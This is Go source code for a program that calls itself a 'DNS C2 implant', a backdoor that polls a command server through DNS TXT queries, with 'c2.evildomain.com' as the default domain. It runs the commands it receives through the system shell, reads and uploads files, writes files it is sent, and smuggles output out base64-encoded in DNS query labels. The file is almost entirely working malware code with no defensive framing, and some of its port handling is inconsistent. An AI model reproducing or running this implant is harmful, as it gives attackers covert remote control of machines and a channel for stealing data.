package main import ( "crypto/rand" "encoding/base64" "encoding/hex" "encoding/json" "flag" "fmt" "net" "os" "os/exec" "os/signal" "runtime" "strconv" "strings" "sync" "syscall" "time" "github.com/miekg/dns" ) // ─── Constants ─────────────────────────────────────────────────────────────── const ( version = "1.0.0" userAgentPrefix = "dns-c2-implant" ) // ─── Implant Config ───────────────────────────────────────────────────────── type Config struct { Server string // IP of C2 DNS server Domain string // C2 domain (e.g. c2.evildomain.com) ImplantID string // Unique implant ID Interval int // Query interval in seconds DirectMode bool // Send UDP directly to C2 server instead of system resolver UseResolver bool // Use system DNS resolver } // ─── State ─────────────────────────────────────────────────────────────────── type ImplantState struct { mu sync.Mutex interval int pendingCmd string // current command to execute cmdChunks []string // partial command chunks cmdTotal int outputBuffer []string // queued output chunks ready to send pendingUpload *FileUploadState } type FileUploadState struct { RemotePath string FileSize int Buffer []byte TotalChunks int ReceivedChunks int Complete bool } // ─── Platform Commands ─────────────────────────────────────────────────────── func getShell() []string { if runtime.GOOS == "windows" { return []string{"cmd.exe", "/C"} } return []string{"/bin/sh", "-c"} } // ─── Base64 Encoding/Decoding ──────────────────────────────────────────────── func b64encode(data []byte) string { return base64.StdEncoding.EncodeToString(data) } func b64decode(s string) ([]byte, error) { // Try standard data, err := base64.StdEncoding.DecodeString(s) if err == nil { return data, nil } // Try URL-safe data, err = base64.URLEncoding.DecodeString(s) if err == nil { return data, nil } // Try padded pad := 4 - len(s)%4 if pad < 4 { s += strings.Repeat("=", pad) } data, err = base64.StdEncoding.DecodeString(s) if err == nil { return data, nil } return nil, err } // ─── DNS Query ─────────────────────────────────────────────────────────────── func buildDNSQuery(id string, domain string, status string, outputB64 string, seq int, total int) string { // Format: ...c2. // status: "ready", "output", "chunk", "error" // data: base64-encoded output, or empty if no output if seq > 0 && total > 0 { // Chunked output return fmt.Sprintf("%s.%s.%d.%d.%s.c2.%s", status, id, seq, total, outputB64, domain) } if outputB64 != "" { return fmt.Sprintf("%s.%s.%s.c2.%s", status, id, outputB64, domain) } return fmt.Sprintf("%s.%s.c2.%s", status, id, domain) } func sendDNSQueryViaResolver(queryDomain string) (string, error) { // Use system resolver c := dns.Client{} m := new(dns.Msg) m.SetQuestion(queryDomain+".", dns.TypeTXT) m.SetEdns0(4096, true) // EDNS0 for larger responses r, _, err := c.Exchange(m, net.JoinHostPort("8.8.8.8", "53")) if err != nil { return "", fmt.Errorf("dns exchange failed: %w", err) } for _, ans := range r.Answer { if txt, ok := ans.(*dns.TXT); ok && len(txt.Txt) > 0 { return txt.Txt[0], nil } } return "", nil } func sendDNSQueryDirect(server string, queryDomain string) (string, error) { c := dns.Client{ UDPSize: 4096, } m := new(dns.Msg) m.SetQuestion(queryDomain+".", dns.TypeTXT) m.SetEdns0(4096, true) // Check if server already has a port; default to 53 serverAddr := server if _, _, err := net.SplitHostPort(server); err != nil { serverAddr = net.JoinHostPort(server, "5353") } r, _, err := c.Exchange(m, serverAddr) if err != nil { return "", fmt.Errorf("dns exchange failed: %w", err) } for _, ans := range r.Answer { if txt, ok := ans.(*dns.TXT); ok && len(txt.Txt) > 0 { return txt.Txt[0], nil } } return "", nil } func sendDNSQuery(server, domain, queryDomain string, directMode bool) (string, error) { if directMode { return sendDNSQueryDirect(server, queryDomain) } return sendDNSQueryViaResolver(queryDomain) } // ─── Command Execution ─────────────────────────────────────────────────────── func executeCommand(cmdStr string) (string, error) { // Special commands if strings.HasPrefix(cmdStr, "__INTERVAL__:") { parts := strings.SplitN(cmdStr, ":", 2) if len(parts) == 2 { interval, err := strconv.Atoi(parts[1]) if err == nil && interval > 0 { return fmt.Sprintf("INTERVAL_SET:%d", interval), nil } } return "INTERVAL_ERROR", nil } if strings.HasPrefix(cmdStr, "__UPLOAD_START__:") { return handleUploadStart(cmdStr) } if strings.HasPrefix(cmdStr, "__UPLOAD_CHUNK__:") { return handleUploadChunk(cmdStr) } if strings.HasPrefix(cmdStr, "__UPLOAD_END__:") { return handleUploadEnd(cmdStr) } if strings.HasPrefix(cmdStr, "__DOWNLOAD__:") { return handleDownload(cmdStr) } if strings.HasPrefix(cmdStr, "__PING__") { return "PONG", nil } if strings.HasPrefix(cmdStr, "__SLEEP__:") { parts := strings.SplitN(cmdStr, ":", 2) if len(parts) == 2 { dur, err := time.ParseDuration(parts[1]) if err == nil { time.Sleep(dur) return "SLEPT:" + parts[1], nil } } return "SLEEP_ERROR", nil } // Execute actual shell command shell := getShell() cmd := exec.Command(shell[0], append(shell[1:], cmdStr)...) output, err := cmd.CombinedOutput() if err != nil { return fmt.Sprintf("ERROR: %s\n%s", err.Error(), string(output)), nil } return string(output), nil } // ─── File Upload Handling ─────────────────────────────────────────────────── var globalState ImplantState func handleUploadStart(cmdStr string) (string, error) { // Format: __UPLOAD_START__:: parts := strings.SplitN(cmdStr, ":", 3) if len(parts) < 3 { return "UPLOAD_START_ERROR:malformed", nil } remotePath := parts[1] fileSize, err := strconv.Atoi(parts[2]) if err != nil { return fmt.Sprintf("UPLOAD_START_ERROR:invalid_size:%s", parts[2]), nil } globalState.mu.Lock() globalState.pendingUpload = &FileUploadState{ RemotePath: remotePath, FileSize: fileSize, Buffer: make([]byte, 0, fileSize), } globalState.mu.Unlock() return fmt.Sprintf("UPLOAD_START_OK:%s:%d", remotePath, fileSize), nil } func handleUploadChunk(cmdStr string) (string, error) { // Format: __UPLOAD_CHUNK__::: parts := strings.SplitN(cmdStr, ":", 4) if len(parts) < 4 { return "UPLOAD_CHUNK_ERROR:malformed", nil } seq, err := strconv.Atoi(parts[1]) if err != nil { return fmt.Sprintf("UPLOAD_CHUNK_ERROR:invalid_seq:%s", parts[1]), nil } total, err := strconv.Atoi(parts[2]) if err != nil { return fmt.Sprintf("UPLOAD_CHUNK_ERROR:invalid_total:%s", parts[2]), nil } chunkData, err := b64decode(parts[3]) if err != nil { return fmt.Sprintf("UPLOAD_CHUNK_ERROR:decode_failed:%s", err), nil } globalState.mu.Lock() if globalState.pendingUpload == nil { globalState.mu.Unlock() return "UPLOAD_CHUNK_ERROR:no_active_upload", nil } globalState.pendingUpload.Buffer = append(globalState.pendingUpload.Buffer, chunkData...) globalState.pendingUpload.ReceivedChunks++ globalState.pendingUpload.TotalChunks = total globalState.mu.Unlock() return fmt.Sprintf("UPLOAD_CHUNK_OK:%d/%d", seq, total), nil } func handleUploadEnd(cmdStr string) (string, error) { // Format: __UPLOAD_END__: parts := strings.SplitN(cmdStr, ":", 2) if len(parts) < 2 { return "UPLOAD_END_ERROR:malformed", nil } remotePath := parts[1] globalState.mu.Lock() if globalState.pendingUpload == nil { globalState.mu.Unlock() return "UPLOAD_END_ERROR:no_active_upload", nil } if globalState.pendingUpload.RemotePath != remotePath { globalState.mu.Unlock() return "UPLOAD_END_ERROR:path_mismatch", nil } buffer := globalState.pendingUpload.Buffer expectedSize := globalState.pendingUpload.FileSize globalState.mu.Unlock() if len(buffer) != expectedSize { return fmt.Sprintf("UPLOAD_END_ERROR:size_mismatch:got_%d_expected_%d", len(buffer), expectedSize), nil } // Write the file if err := os.WriteFile(remotePath, buffer, 0644); err != nil { return fmt.Sprintf("UPLOAD_END_ERROR:write_failed:%s", err), nil } globalState.mu.Lock() globalState.pendingUpload = nil globalState.mu.Unlock() return fmt.Sprintf("UPLOAD_COMPLETE:%s:%d", remotePath, expectedSize), nil } // ─── File Download Handling ───────────────────────────────────────────────── func handleDownload(cmdStr string) (string, error) { // Format: __DOWNLOAD__: parts := strings.SplitN(cmdStr, ":", 2) if len(parts) < 2 { return "DOWNLOAD_ERROR:malformed", nil } remotePath := parts[1] data, err := os.ReadFile(remotePath) if err != nil { return fmt.Sprintf("DOWNLOAD_ERROR:%s", err), nil } encoded := b64encode(data) return fmt.Sprintf("DOWNLOAD_DATA:%s:%d:%s", remotePath, len(data), encoded), nil } // ─── Output Chunking ───────────────────────────────────────────────────────── const outputChunkSize = 400 // max base64 chars per DNS label func chunkOutput(output string) []string { encoded := b64encode([]byte(output)) if len(encoded) <= outputChunkSize { return []string{encoded} } var chunks []string for i := 0; i < len(encoded); i += outputChunkSize { end := i + outputChunkSize if end > len(encoded) { end = len(encoded) } chunks = append(chunks, encoded[i:end]) } return chunks } // ─── Command Parsing (chunked commands from server) ────────────────────────── func processServerResponse(txt string, state *ImplantState) (bool, string) { txt = strings.TrimSpace(txt) if txt == "" { return false, "" } // Parse: ".." or just "" parts := strings.SplitN(txt, ".", 3) if len(parts) >= 3 { // Could be: base64.seq.total seq, err1 := strconv.Atoi(parts[1]) total, err2 := strconv.Atoi(parts[2]) if err1 == nil && err2 == nil && seq > 0 && total > 0 { state.mu.Lock() if state.cmdChunks == nil || seq == 1 { state.cmdChunks = make([]string, total) state.cmdTotal = total } if seq <= total { state.cmdChunks[seq-1] = parts[0] } complete := true for _, c := range state.cmdChunks { if c == "" { complete = false break } } state.mu.Unlock() if complete { fullCmd := strings.Join(state.cmdChunks, "") decoded, err := b64decode(fullCmd) state.mu.Lock() state.cmdChunks = nil state.cmdTotal = 0 state.mu.Unlock() if err != nil { return true, fmt.Sprintf("DECODE_ERROR: %s", err) } return true, string(decoded) } return false, "" // Waiting for more chunks } } // Single chunk command decoded, err := b64decode(parts[0]) if err != nil { return false, "" } return true, string(decoded) } // ─── Config Persistence ────────────────────────────────────────────────────── func loadConfig(path string) (*Config, error) { data, err := os.ReadFile(path) if err != nil { return nil, err } var cfg Config if err := json.Unmarshal(data, &cfg); err != nil { return nil, err } return &cfg, nil } func saveConfig(path string, cfg *Config) error { data, err := json.MarshalIndent(cfg, "", " ") if err != nil { return err } return os.WriteFile(path, data, 0600) } func generateID() string { b := make([]byte, 8) rand.Read(b) return hex.EncodeToString(b) } // ─── Main Loop ─────────────────────────────────────────────────────────────── func main() { // Flag definitions var ( server string domain string implantID string interval int directMode bool useResolver bool configPath string oneShot bool ) flag.StringVar(&server, "server", "", "C2 DNS server IP (for direct mode)") flag.StringVar(&domain, "domain", "c2.evildomain.com", "C2 domain") flag.StringVar(&implantID, "id", "", "Implant ID (auto-generated if empty)") flag.IntVar(&interval, "interval", 30, "Query interval in seconds") flag.BoolVar(&directMode, "direct", false, "Send UDP directly to C2 server") flag.BoolVar(&useResolver, "resolver", false, "Use system DNS resolver") flag.StringVar(&configPath, "config", "", "Path to config file") flag.BoolVar(&oneShot, "oneshot", false, "Run one query and exit") flag.Parse() // Load config from file if specified if configPath != "" { cfg, err := loadConfig(configPath) if err == nil { if server == "" { server = cfg.Server } if domain == "" { domain = cfg.Domain } if implantID == "" { implantID = cfg.ImplantID } if cfg.Interval > 0 { interval = cfg.Interval } directMode = cfg.DirectMode useResolver = cfg.UseResolver } } // Environment overrides if v := os.Getenv("C2_SERVER"); v != "" { server = v } if v := os.Getenv("C2_DOMAIN"); v != "" { domain = v } if v := os.Getenv("C2_IMPLANT_ID"); v != "" { implantID = v } if v := os.Getenv("C2_INTERVAL"); v != "" { if n, err := strconv.Atoi(v); err == nil { interval = n } } if os.Getenv("C2_DIRECT") == "1" || os.Getenv("C2_DIRECT") == "true" { directMode = true } // Generate ID if not set if implantID == "" { implantID = generateID() } // Validate if server == "" && directMode { fmt.Fprintf(os.Stderr, "Error: -server flag required in direct mode\n") os.Exit(1) } if interval < 1 { interval = 30 } fmt.Fprintf(os.Stderr, "DNS C2 Implant v%s\n", version) fmt.Fprintf(os.Stderr, " Implant ID: %s\n", implantID) fmt.Fprintf(os.Stderr, " Domain: %s\n", domain) fmt.Fprintf(os.Stderr, " Interval: %ds\n", interval) if directMode { // Show server address, preserving any port the user specified srvDisplay := server if _, _, err := net.SplitHostPort(server); err != nil { srvDisplay = net.JoinHostPort(server, "53") } fmt.Fprintf(os.Stderr, " Server: %s (direct UDP)\n", srvDisplay) } else { fmt.Fprintf(os.Stderr, " Mode: System DNS resolver\n") } // Save config if we loaded from file if configPath != "" { cfg := &Config{ Server: server, Domain: domain, ImplantID: implantID, Interval: interval, DirectMode: directMode, UseResolver: useResolver, } if err := saveConfig(configPath, cfg); err != nil { fmt.Fprintf(os.Stderr, "Warning: could not save config: %v\n", err) } } // Initial state state := &ImplantState{} globalState = ImplantState{} state.interval = interval outputBuf := "" // Signal handling sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) // Main beacon loop fmt.Fprintf(os.Stderr, "Starting beacon loop...\n") for { select { case <-sigCh: fmt.Fprintf(os.Stderr, "\nShutting down...\n") return default: } // Check if we have a new interval set state.mu.Lock() currentInterval := state.interval state.mu.Unlock() // Build the query // Format: ...c2. status := "ready" outputB64 := "" if outputBuf != "" { status = "output" outputB64 = b64encode([]byte(outputBuf)) outputBuf = "" } queryFQDN := buildDNSQuery(implantID, domain, status, outputB64, 0, 0) // Send DNS query and get response txtResponse, err := sendDNSQuery(server, domain, queryFQDN, directMode) if err != nil { fmt.Fprintf(os.Stderr, "DNS query error: %v\n", err) } else { fmt.Fprintf(os.Stderr, "DNS response received\n") // Check if response contains a command if txtResponse != "" { hasCmd, cmd := processServerResponse(txtResponse, state) if hasCmd { fmt.Fprintf(os.Stderr, "Executing command: %s\n", cmd) result, err := executeCommand(cmd) // Special handling for interval change if strings.HasPrefix(result, "INTERVAL_SET:") { parts := strings.SplitN(result, ":", 2) if len(parts) == 2 { newInterval, _ := strconv.Atoi(parts[1]) state.mu.Lock() state.interval = newInterval state.mu.Unlock() currentInterval = newInterval } } if err != nil { outputBuf = fmt.Sprintf("EXEC_ERROR: %s", err) } else { outputBuf = result } } } } if oneShot { fmt.Fprintf(os.Stderr, "One-shot mode, exiting\n") return } // Sleep for the interval fmt.Fprintf(os.Stderr, "Sleeping %d seconds...\n", currentInterval) // Sleep in smaller increments so we can catch signals slept := 0 for slept < currentInterval { time.Sleep(1 * time.Second) slept++ select { case <-sigCh: fmt.Fprintf(os.Stderr, "\nShutting down...\n") return default: } } } }